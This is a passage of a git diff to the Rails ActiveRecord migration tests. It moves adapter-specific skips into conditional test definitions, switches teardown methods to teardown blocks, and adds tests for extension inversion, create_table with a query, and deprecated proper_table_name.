- conn.change_column :testings, :second, :integer, :first => true
- assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
+ def test_change_column_with_positioning
+ conn.change_column :testings, :second, :integer, :first => true
+ assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
- conn.change_column :testings, :second, :integer, :after => :third
- assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
+ conn.change_column :testings, :second, :integer, :after => :third
+ assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
+ end
end
-
end
end
end
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
index 2cad8a6d96..a925cf4c05 100644
--- a/activerecord/test/cases/migration/command_recorder_test.rb
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -4,7 +4,8 @@ module ActiveRecord
class Migration
class CommandRecorderTest < ActiveRecord::TestCase
def setup
- @recorder = CommandRecorder.new
+ connection = ActiveRecord::Base.connection
+ @recorder = CommandRecorder.new(connection)
end
def test_respond_to_delegates
@@ -173,13 +174,13 @@ module ActiveRecord
end
def test_invert_add_index
- remove = @recorder.inverse_of :add_index, [:table, [:one, :two], options: true]
- assert_equal [:remove_index, [:table, {column: [:one, :two], options: true}]], remove
+ remove = @recorder.inverse_of :add_index, [:table, [:one, :two]]
+ assert_equal [:remove_index, [:table, {column: [:one, :two]}]], remove
end
def test_invert_add_index_with_name
remove = @recorder.inverse_of :add_index, [:table, [:one, :two], name: "new_index"]
- assert_equal [:remove_index, [:table, {column: [:one, :two], name: "new_index"}]], remove
+ assert_equal [:remove_index, [:table, {name: "new_index"}]], remove
end
def test_invert_add_index_with_no_options
@@ -242,6 +243,16 @@ module ActiveRecord
add = @recorder.inverse_of :remove_belongs_to, [:table, :user]
assert_equal [:add_reference, [:table, :user], nil], add
end
+
+ def test_invert_enable_extension
+ disable = @recorder.inverse_of :enable_extension, ['uuid-ossp']
+ assert_equal [:disable_extension, ['uuid-ossp'], nil], disable
+ end
+
+ def test_invert_disable_extension
+ enable = @recorder.inverse_of :disable_extension, ['uuid-ossp']
+ assert_equal [:enable_extension, ['uuid-ossp'], nil], enable
+ end
end
end
end
diff --git a/activerecord/test/cases/migration/create_join_table_test.rb b/activerecord/test/cases/migration/create_join_table_test.rb
index efaec0f823..62b60f7f7b 100644
--- a/activerecord/test/cases/migration/create_join_table_test.rb
+++ b/activerecord/test/cases/migration/create_join_table_test.rb
@@ -10,8 +10,7 @@ module ActiveRecord
@connection = ActiveRecord::Base.connection
end
- def teardown
- super
+ teardown do
%w(artists_musics musics_videos catalog).each do |table_name|
connection.drop_table table_name if connection.tables.include?(table_name)
end
diff --git a/activerecord/test/cases/migration/index_test.rb b/activerecord/test/cases/migration/index_test.rb
index 04521a5f5a..35af11f672 100644
--- a/activerecord/test/cases/migration/index_test.rb
+++ b/activerecord/test/cases/migration/index_test.rb
@@ -21,38 +21,33 @@ module ActiveRecord
end
end
- def teardown
- super
+ teardown do
connection.drop_table :testings rescue nil
ActiveRecord::Base.primary_key_prefix_type = nil
end
- def test_rename_index
- skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
-
- # keep the names short to make Oracle and similar behave
- connection.add_index(table_name, [:foo], :name => 'old_idx')
- connection.rename_index(table_name, 'old_idx', 'new_idx')
-
- # if the adapter doesn't support the indexes call, pick defaults that let the test pass
- assert_not connection.index_name_exists?(table_name, 'old_idx', false)
- assert connection.index_name_exists?(table_name, 'new_idx', true)
- end
+ unless current_adapter?(:OpenBaseAdapter)
+ def test_rename_index
+ # keep the names short to make Oracle and similar behave
+ connection.add_index(table_name, [:foo], :name => 'old_idx')
+ connection.rename_index(table_name, 'old_idx', 'new_idx')
- def test_double_add_index
- skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+ # if the adapter doesn't support the indexes call, pick defaults that let the test pass
+ assert_not connection.index_name_exists?(table_name, 'old_idx', false)
+ assert connection.index_name_exists?(table_name, 'new_idx', true)
+ end
- connection.add_index(table_name, [:foo], :name => 'some_idx')
- assert_raises(ArgumentError) {
+ def test_double_add_index
connection.add_index(table_name, [:foo], :name => 'some_idx')
- }
- end
-
- def test_remove_nonexistent_index
- skip "not supported on openbase" if current_adapter?(:OpenBaseAdapter)
+ assert_raises(ArgumentError) {
+ connection.add_index(table_name, [:foo], :name => 'some_idx')
+ }
+ end
- # we do this by name, so OpenBase is a wash as noted above
- assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
+ def test_remove_nonexistent_index
+ # we do this by name, so OpenBase is a wash as noted above
+ assert_raise(ArgumentError) { connection.remove_index(table_name, "no_such_index") }
+ end
end
def test_add_index_works_with_long_index_names
@@ -189,14 +184,14 @@ module ActiveRecord
end
end
- def test_add_partial_index
- skip 'only on pg' unless current_adapter?(:PostgreSQLAdapter)
-
- connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
- assert connection.index_exists?("testings", "last_name")
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_add_partial_index
+ connection.add_index("testings", "last_name", :where => "first_name = 'john doe'")
+ assert connection.index_exists?("testings", "last_name")
- connection.remove_index("testings", "last_name")
- assert !connection.index_exists?("testings", "last_name")
+ connection.remove_index("testings", "last_name")
+ assert !connection.index_exists?("testings", "last_name")
+ end
end
private
diff --git a/activerecord/test/cases/migration/logger_test.rb b/activerecord/test/cases/migration/logger_test.rb
index 97efb94b66..84224e6e4c 100644
--- a/activerecord/test/cases/migration/logger_test.rb
+++ b/activerecord/test/cases/migration/logger_test.rb
@@ -19,8 +19,7 @@ module ActiveRecord
ActiveRecord::SchemaMigration.delete_all
end
- def teardown
- super
+ teardown do
ActiveRecord::SchemaMigration.drop_table
end
diff --git a/activerecord/test/cases/migration/references_index_test.rb b/activerecord/test/cases/migration/references_index_test.rb
index 3ff89524fe..4485701a4e 100644
--- a/activerecord/test/cases/migration/references_index_test.rb
+++ b/activerecord/test/cases/migration/references_index_test.rb
@@ -11,8 +11,7 @@ module ActiveRecord
@table_name = :testings
end
- def teardown
- super
+ teardown do
connection.drop_table :testings rescue nil
end
@@ -50,14 +49,14 @@ module ActiveRecord
assert connection.index_exists?(table_name, :bar_id, :name => :index_testings_on_bar_id, :unique => true)
end
- def test_creates_polymorphic_index
- return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
+ unless current_adapter? :OracleAdapter
+ def test_creates_polymorphic_index
+ connection.create_table table_name do |t|
+ t.references :foo, :polymorphic => true, :index => true
+ end
- connection.create_table table_name do |t|
- t.references :foo, :polymorphic => true, :index => true
+ assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
end
-
- assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
end
def test_creates_index_for_existing_table
@@ -87,16 +86,16 @@ module ActiveRecord
assert_not connection.index_exists?(table_name, :foo_id, :name => :index_testings_on_foo_id)
end
- def test_creates_polymorphic_index_for_existing_table
- return skip "Oracle Adapter does not support foreign keys if :polymorphic => true is used" if current_adapter? :OracleAdapter
- connection.create_table table_name
- connection.change_table table_name do |t|
- t.references :foo, :polymorphic => true, :index => true
- end
+ unless current_adapter? :OracleAdapter
+ def test_creates_polymorphic_index_for_existing_table
+ connection.create_table table_name
+ connection.change_table table_name do |t|
+ t.references :foo, :polymorphic => true, :index => true
+ end
- assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+ assert connection.index_exists?(table_name, [:foo_id, :foo_type], :name => :index_testings_on_foo_id_and_foo_type)
+ end
end
-
end
end
end
diff --git a/activerecord/test/cases/migration/rename_table_test.rb b/activerecord/test/cases/migration/rename_table_test.rb
index 22dbd7c38b..2a7fafc559 100644
--- a/activerecord/test/cases/migration/rename_table_test.rb
+++ b/activerecord/test/cases/migration/rename_table_test.rb
@@ -19,24 +19,24 @@ module ActiveRecord
super
end
- def test_rename_table_for_sqlite_should_work_with_reserved_words
- renamed = false
-
- skip "not supported" unless current_adapter?(:SQLite3Adapter)
-
- add_column :test_models, :url, :string
- connection.rename_table :references, :old_references
- connection.rename_table :test_models, :references
-
- renamed = true
-
- # Using explicit id in insert for compatibility across all databases
- connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
- assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
- ensure
- return unless renamed
- connection.rename_table :references, :test_models
- connection.rename_table :old_references, :references
+ if current_adapter?(:SQLite3Adapter)
+ def test_rename_table_for_sqlite_should_work_with_reserved_words
+ renamed = false
+
+ add_column :test_models, :url, :string
+ connection.rename_table :references, :old_references
+ connection.rename_table :test_models, :references
+
+ renamed = true
+
+ # Using explicit id in insert for compatibility across all databases
+ connection.execute "INSERT INTO 'references' (url, created_at, updated_at) VALUES ('http://rubyonrails.com', 0, 0)"
+ assert_equal 'http://rubyonrails.com', connection.select_value("SELECT url FROM 'references' WHERE id=1")
+ ensure
+ return unless renamed
+ connection.rename_table :references, :test_models
+ connection.rename_table :old_references, :references
+ end
end
def test_rename_table
@@ -76,14 +76,14 @@ module ActiveRecord
assert_equal ['special_url_idx'], connection.indexes(:octopi).map(&:name)
end
- def test_rename_table_for_postgresql_should_also_rename_default_sequence
- skip 'not supported' unless current_adapter?(:PostgreSQLAdapter)
-
- rename_table :test_models, :octopi
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_rename_table_for_postgresql_should_also_rename_default_sequence
+ rename_table :test_models, :octopi
- pk, seq = connection.pk_and_sequence_for('octopi')
+ pk, seq = connection.pk_and_sequence_for('octopi')
- assert_equal "octopi_#{pk}_seq", seq
+ assert_equal "octopi_#{pk}_seq", seq
+ end
end
end
end
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index e99312c245..455ec78f68 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -33,7 +33,7 @@ class MigrationTest < ActiveRecord::TestCase
ActiveRecord::Base.connection.schema_cache.clear!
end
- def teardown
+ teardown do
ActiveRecord::Base.table_name_prefix = ""
ActiveRecord::Base.table_name_suffix = ""
@@ -63,6 +63,7 @@ class MigrationTest < ActiveRecord::TestCase
def test_migrator_versions
migrations_path = MIGRATIONS_ROOT + "/valid"
+ old_path = ActiveRecord::Migrator.migrations_paths
ActiveRecord::Migrator.migrations_paths = migrations_path
ActiveRecord::Migrator.up(migrations_path)
@@ -74,6 +75,12 @@ class MigrationTest < ActiveRecord::TestCase
assert_equal 0, ActiveRecord::Migrator.current_version
assert_equal 3, ActiveRecord::Migrator.last_version
assert_equal true, ActiveRecord::Migrator.needs_migration?
+ ensure
+ ActiveRecord::Migrator.migrations_paths = old_path
+ end
+
+ def test_migration_version
+ ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947)
end
def test_create_table_with_force_true_does_not_drop_nonexisting_table
@@ -177,20 +184,18 @@ class MigrationTest < ActiveRecord::TestCase
end
def test_filtering_migrations
- assert !Person.column_methods_hash.include?(:last_name)
+ assert_no_column Person, :last_name
assert !Reminder.table_exists?
name_filter = lambda { |migration| migration.name == "ValidPeopleHaveLastNames" }
ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", &name_filter)
- Person.reset_column_information
- assert Person.column_methods_hash.include?(:last_name)
+ assert_column Person, :last_name
assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", &name_filter)
- Person.reset_column_information
- assert !Person.column_methods_hash.include?(:last_name)
+ assert_no_column Person, :last_name
assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
end
@@ -232,124 +237,163 @@ class MigrationTest < ActiveRecord::TestCase
assert migration.went_down, 'have not gone down'
end
- def test_migrator_one_up_with_exception_and_rollback
- unless ActiveRecord::Base.connection.supports_ddl_transactions?
- skip "not supported on #{ActiveRecord::Base.connection.class}"
- end
-
- assert_not Person.column_methods_hash.include?(:last_name)
-
- migration = Class.new(ActiveRecord::Migration) {
- def version; 100 end
- def migrate(x)
- add_column "people", "last_name", :string
- raise 'Something broke'
- end
- }.new
+ if ActiveRecord::Base.connection.supports_ddl_transactions?
+ def test_migrator_one_up_with_exception_and_rollback
+ assert_no_column Person, :last_name
- migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+ migration = Class.new(ActiveRecord::Migration) {
+ def version; 100 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
- e = assert_raise(StandardError) { migrator.migrate }
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
- assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
+ e = assert_raise(StandardError) { migrator.migrate }
- Person.reset_column_information
- assert_not Person.column_methods_hash.include?(:last_name),
- "On error, the Migrator should revert schema changes but it did not."
- end
+ assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
- def test_migrator_one_up_with_exception_and_rollback_using_run
- unless ActiveRecord::Base.connection.supports_ddl_transactions?
- skip "not supported on #{ActiveRecord::Base.connection.class}"
+ assert_no_column Person, :last_name,
+ "On error, the Migrator should revert schema changes but it did not."
end
- assert_not Person.column_methods_hash.include?(:last_name)
-
- migration = Class.new(ActiveRecord::Migration) {
- def version; 100 end
- def migrate(x)
- add_column "people", "last_name", :string
- raise 'Something broke'
- end
- }.new
+ def test_migrator_one_up_with_exception_and_rollback_using_run
+ assert_no_column Person, :last_name
- migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
+ migration = Class.new(ActiveRecord::Migration) {
+ def version; 100 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
- e = assert_raise(StandardError) { migrator.run }
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
- assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message
+ e = assert_raise(StandardError) { migrator.run }
- Person.reset_column_information
- assert_not Person.column_methods_hash.include?(:last_name),
- "On error, the Migrator should revert schema changes but it did not."
- end
+ assert_equal "An error has occurred, this migration was canceled:\n\nSomething broke", e.message
- def test_migration_without_transaction
- unless ActiveRecord::Base.connection.supports_ddl_transactions?
- skip "not supported on #{ActiveRecord::Base.connection.class}"
+ assert_no_column Person, :last_name,
+ "On error, the Migrator should revert schema changes but it did not."
end
- assert_not Person.column_methods_hash.include?(:last_name)
+ def test_migration_without_transaction
+ assert_no_column Person, :last_name
- migration = Class.new(ActiveRecord::Migration) {
- self.disable_ddl_transaction!
+ migration = Class.new(ActiveRecord::Migration) {
+ self.disable_ddl_transaction!
- def version; 101 end
- def migrate(x)
- add_column "people", "last_name", :string
- raise 'Something broke'
- end
- }.new
+ def version; 101 end
+ def migrate(x)
+ add_column "people", "last_name", :string
+ raise 'Something broke'
+ end
+ }.new
- migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
- e = assert_raise(StandardError) { migrator.migrate }
- assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
+ migrator = ActiveRecord::Migrator.new(:up, [migration], 101)
+ e = assert_raise(StandardError) { migrator.migrate }
+ assert_equal "An error has occurred, all later migrations canceled:\n\nSomething broke", e.message
- Person.reset_column_information
- assert Person.column_methods_hash.include?(:last_name),
- "without ddl transactions, the Migrator should not rollback on error but it did."
- ensure
- Person.reset_column_information
- if Person.column_methods_hash.include?(:last_name)
- Person.connection.remove_column('people', 'last_name')
+ assert_column Person, :last_name,
+ "without ddl transactions, the Migrator should not rollback on error but it did."
+ ensure
+ Person.reset_column_information
+ if Person.column_names.include?('last_name')
+ Person.connection.remove_column('people', 'last_name')
+ end
end
end
def test_schema_migrations_table_name
+ original_schema_migrations_table_name = ActiveRecord::Migrator.schema_migrations_table_name
+
+ assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
ActiveRecord::Base.table_name_prefix = "prefix_"
ActiveRecord::Base.table_name_suffix = "_suffix"
Reminder.reset_table_name
assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+ ActiveRecord::Base.schema_migrations_table_name = "changed"
+ Reminder.reset_table_name
+ assert_equal "prefix_changed_suffix", ActiveRecord::Migrator.schema_migrations_table_name
ActiveRecord::Base.table_name_prefix = ""
ActiveRecord::Base.table_name_suffix = ""
Reminder.reset_table_name
- assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
+ assert_equal "changed", ActiveRecord::Migrator.schema_migrations_table_name
+ ensure
+ ActiveRecord::Base.schema_migrations_table_name = original_schema_migrations_table_name
+ Reminder.reset_table_name
end
- def test_proper_table_name
- assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
- assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
- assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
- Reminder.reset_table_name
- assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
+ def test_proper_table_name_on_migrator
+ reminder_class = new_isolated_reminder_class
+ assert_deprecated do
+ assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
+ end
+ assert_deprecated do
+ assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
+ end
+ assert_deprecated do
+ assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(reminder_class)
+ end
+ reminder_class.reset_table_name
+ assert_deprecated do
+ assert_equal reminder_class.table_name, ActiveRecord::Migrator.proper_table_name(reminder_class)
+ end
# Use the model's own prefix/suffix if a model is given
ActiveRecord::Base.table_name_prefix = "ARprefix_"
ActiveRecord::Base.table_name_suffix = "_ARsuffix"
- Reminder.table_name_prefix = 'prefix_'
- Reminder.table_name_suffix = '_suffix'
- Reminder.reset_table_name
- assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
- Reminder.table_name_prefix = ''
- Reminder.table_name_suffix = ''
- Reminder.reset_table_name
+ reminder_class.table_name_prefix = 'prefix_'
+ reminder_class.table_name_suffix = '_suffix'
+ reminder_class.reset_table_name
+ assert_deprecated do
+ assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(reminder_class)
+ end
+ reminder_class.table_name_prefix = ''
+ reminder_class.table_name_suffix = ''
+ reminder_class.reset_table_name
# Use AR::Base's prefix/suffix if string or symbol is given
ActiveRecord::Base.table_name_prefix = "prefix_"
ActiveRecord::Base.table_name_suffix = "_suffix"
- Reminder.reset_table_name
- assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
- assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
+ reminder_class.reset_table_name
+ assert_deprecated do
+ assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
+ end
+ assert_deprecated do
+ assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
+ end
+ end
+
+ def test_proper_table_name_on_migration
+ reminder_class = new_isolated_reminder_class
+ migration = ActiveRecord::Migration.new
+ assert_equal "table", migration.proper_table_name('table')
+ assert_equal "table", migration.proper_table_name(:table)
+ assert_equal "reminders", migration.proper_table_name(reminder_class)
+ reminder_class.reset_table_name
+ assert_equal reminder_class.table_name, migration.proper_table_name(reminder_class)
+
+ # Use the model's own prefix/suffix if a model is given
+ ActiveRecord::Base.table_name_prefix = "ARprefix_"
+ ActiveRecord::Base.table_name_suffix = "_ARsuffix"
+ reminder_class.table_name_prefix = 'prefix_'
+ reminder_class.table_name_suffix = '_suffix'
+ reminder_class.reset_table_name
+ assert_equal "prefix_reminders_suffix", migration.proper_table_name(reminder_class)
+ reminder_class.table_name_prefix = ''
+ reminder_class.table_name_suffix = ''
+ reminder_class.reset_table_name
+
+ # Use AR::Base's prefix/suffix if string or symbol is given
+ ActiveRecord::Base.table_name_prefix = "prefix_"
+ ActiveRecord::Base.table_name_suffix = "_suffix"
+ reminder_class.reset_table_name
+ assert_equal "prefix_table_suffix", migration.proper_table_name('table', migration.table_name_options)
+ assert_equal "prefix_table_suffix", migration.proper_table_name(:table, migration.table_name_options)
end
def test_rename_table_with_prefix_and_suffix
@@ -405,70 +449,98 @@ class MigrationTest < ActiveRecord::TestCase
Person.connection.drop_table :binary_testings rescue nil
end
- def test_create_table_with_custom_sequence_name
- skip "not supported" unless current_adapter? :OracleAdapter
+ def test_create_table_with_query
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ Person.connection.create_table(:person, force: true)
- # table name is 29 chars, the standard sequence name will
- # be 33 chars and should be shortened
- assert_nothing_raised do
- begin
- Person.connection.create_table :table_with_name_thats_just_ok do |t|
- t.column :foo, :string, :null => false
+ Person.connection.create_table :table_from_query_testings, as: "SELECT id FROM person"
+
+ columns = Person.connection.columns(:table_from_query_testings)
+ assert_equal 1, columns.length
+ assert_equal "id", columns.first.name
+
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ end
+
+ def test_create_table_with_query_from_relation
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ Person.connection.create_table(:person, force: true)
+
+ Person.connection.create_table :table_from_query_testings, as: Person.select(:id)
+
+ columns = Person.connection.columns(:table_from_query_testings)
+ assert_equal 1, columns.length
+ assert_equal "id", columns.first.name
+
+ Person.connection.drop_table :table_from_query_testings rescue nil
+ end
+
+ if current_adapter? :OracleAdapter
+ def test_create_table_with_custom_sequence_name
+ # table name is 29 chars, the standard sequence name will
+ # be 33 chars and should be shortened
+ assert_nothing_raised do
+ begin
+ Person.connection.create_table :table_with_name_thats_just_ok do |t|
+ t.column :foo, :string, :null => false
+ end
+ ensure
+ Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
end
- ensure
- Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
end
- end
- # should be all good w/ a custom sequence name
- assert_nothing_raised do
- begin
- Person.connection.create_table :table_with_name_thats_just_ok,
- :sequence_name => 'suitably_short_seq' do |t|
- t.column :foo, :string, :null => false
- end
+ # should be all good w/ a custom sequence name
+ assert_nothing_raised do
+ begin
+ Person.connection.create_table :table_with_name_thats_just_ok,
+ :sequence_name => 'suitably_short_seq' do |t|
+ t.column :foo, :string, :null => false
+ end
- Person.connection.execute("select suitably_short_seq.nextval from dual")
+ Person.connection.execute("select suitably_short_seq.nextval from dual")
- ensure
- Person.connection.drop_table :table_with_name_thats_just_ok,
- :sequence_name => 'suitably_short_seq' rescue nil
+ ensure
+ Person.connection.drop_table :table_with_name_thats_just_ok,
+ :sequence_name => 'suitably_short_seq' rescue nil
+ end
end
- end
- # confirm the custom sequence got dropped
- assert_raise(ActiveRecord::StatementInvalid) do
- Person.connection.execute("select suitably_short_seq.nextval from dual")
+ # confirm the custom sequence got dropped
+ assert_raise(ActiveRecord::StatementInvalid) do
+ Person.connection.execute("select suitably_short_seq.nextval from dual")
+ end
end
end
- def test_out_of_range_limit_should_raise
- skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
-
- Person.connection.drop_table :test_limits rescue nil
- assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
- Person.connection.create_table :test_integer_limits, :force => true do |t|
- t.column :bigone, :integer, :limit => 10
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ def test_out_of_range_limit_should_raise
+ Person.connection.drop_table :test_limits rescue nil
+ assert_raise(ActiveRecord::ActiveRecordError, "integer limit didn't raise") do
+ Person.connection.create_table :test_integer_limits, :force => true do |t|
+ t.column :bigone, :integer, :limit => 10
+ end
end
- end
- unless current_adapter?(:PostgreSQLAdapter)
- assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
- Person.connection.create_table :test_text_limits, :force => true do |t|
- t.column :bigtext, :text, :limit => 0xfffffffff
+ unless current_adapter?(:PostgreSQLAdapter)
+ assert_raise(ActiveRecord::ActiveRecordError, "text limit didn't raise") do
+ Person.connection.create_table :test_text_limits, :force => true do |t|
+ t.column :bigtext, :text, :limit => 0xfffffffff
+ end
end
end
- end
- Person.connection.drop_table :test_limits rescue nil
+ Person.connection.drop_table :test_limits rescue nil
+ end
end
protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ # This is needed to isolate class_attribute assignments like `table_name_prefix`
+ # for each test case.
+ def new_isolated_reminder_class
+ Class.new(Reminder) {
+ def self.name; "Reminder"; end
+ def self.base_class; self; end
+ }
end
end
@@ -513,7 +585,7 @@ if ActiveRecord::Base.connection.supports_bulk_alter?
Person.reset_sequence_name
end
- def teardown
+ teardown do
Person.connection.drop_table(:delete_me) rescue nil
end
@@ -665,8 +737,8 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@existing_migrations = Dir[@migrations_path + "/*.rb"]
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy"})
- assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
assert_equal [@migrations_path + "/4_people_have_hobbies.bukkits.rb", @migrations_path + "/5_people_have_descriptions.bukkits.rb"], copied.map(&:filename)
expected = "# This migration comes from bukkits (originally 1)"
@@ -689,10 +761,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy"
sources[:omg] = MIGRATIONS_ROOT + "/to_copy2"
ActiveRecord::Migration.copy(@migrations_path, sources)
- assert File.exists?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
- assert File.exists?(@migrations_path + "/6_create_articles.omg.rb")
- assert File.exists?(@migrations_path + "/7_create_comments.omg.rb")
+ assert File.exist?(@migrations_path + "/4_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/5_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/6_create_articles.omg.rb")
+ assert File.exist?(@migrations_path + "/7_create_comments.omg.rb")
files_count = Dir[@migrations_path + "/*.rb"].length
ActiveRecord::Migration.copy(@migrations_path, sources)
@@ -705,10 +777,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
@existing_migrations = Dir[@migrations_path + "/*.rb"]
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
- assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
expected = [@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb",
@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb"]
assert_equal expected, copied.map(&:filename)
@@ -730,12 +802,12 @@ class CopyMigrationsTest < ActiveRecord::TestCase
sources[:bukkits] = MIGRATIONS_ROOT + "/to_copy_with_timestamps"
sources[:omg] = MIGRATIONS_ROOT + "/to_copy_with_timestamps2"
- Time.travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 7, 26, 10, 10, 10)) do
copied = ActiveRecord::Migration.copy(@migrations_path, sources)
- assert File.exists?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100726101012_create_articles.omg.rb")
- assert File.exists?(@migrations_path + "/20100726101013_create_comments.omg.rb")
+ assert File.exist?(@migrations_path + "/20100726101010_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101011_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100726101012_create_articles.omg.rb")
+ assert File.exist?(@migrations_path + "/20100726101013_create_comments.omg.rb")
assert_equal 4, copied.length
files_count = Dir[@migrations_path + "/*.rb"].length
@@ -750,10 +822,10 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@migrations_path = MIGRATIONS_ROOT + "/valid_with_timestamps"
@existing_migrations = Dir[@migrations_path + "/*.rb"]
- Time.travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
+ travel_to(Time.utc(2010, 2, 20, 10, 10, 10)) do
ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
- assert File.exists?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
- assert File.exists?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100301010102_people_have_hobbies.bukkits.rb")
+ assert File.exist?(@migrations_path + "/20100301010103_people_have_descriptions.bukkits.rb")
files_count = Dir[@migrations_path + "/*.rb"].length
copied = ActiveRecord::Migration.copy(@migrations_path, {:bukkits => MIGRATIONS_ROOT + "/to_copy_with_timestamps"})
@@ -770,7 +842,7 @@ class CopyMigrationsTest < ActiveRecord::TestCase
@existing_migrations = Dir[@migrations_path + "/*.rb"]
